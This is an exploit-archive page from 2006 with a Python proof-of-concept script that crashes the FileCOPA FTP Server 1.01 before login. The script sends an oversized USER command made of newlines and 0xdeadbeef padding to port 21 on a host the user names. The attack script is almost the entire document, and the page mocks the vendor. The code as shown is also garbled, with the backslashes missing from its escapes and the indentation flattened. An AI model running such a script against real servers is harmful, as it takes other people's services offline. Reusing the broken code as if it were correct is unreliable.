[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : FileCOPA FTP Server <= 1.01 (USER) Remote Pre-Auth DoS
# Published : 2006-05-05
# Author : Bigeazer
# Previous Title : TinyFTPD <= 1.4 (USER) Remote Buffer Overflow DoS
# Next Title : zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS
### FILECOPA DOS
### www.filecopa.com
### Found Jan 19 2006, Tested again on the new release 6 April 2006
### BY Bigeazer
### http://blacksecurity.org
### They are selling this software for $39.95...
### oh well.. maybe they shoud fix it first?
#
# It appears that FileCopa does not handle alot of new line char
# in the USER login. This is in the filecpnt.exe file.
#
# This is only a DOS, that kills the ftp process
import sys,os,string
import socket
import struct
import time
print "-------------------------------"
print "- FileCopa DOS"
print "- Found by: bigeazer"
print "- Should have crashed FileCopa"
print "-------------------------------"
buffer = "x0a" * 248 + struct.pack('<L',0xdeadbeef) * 960
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conn = s.connect((sys.argv[1],21))
except:
print "- Unable to connect. exiting."
sys.exit(1)
d = s.recv(1024)
time.sleep(1)
s.send('USER %srn' % buffer)
time.sleep(1)
sys.exit(0)
# www.Syue.com [2006-05-05]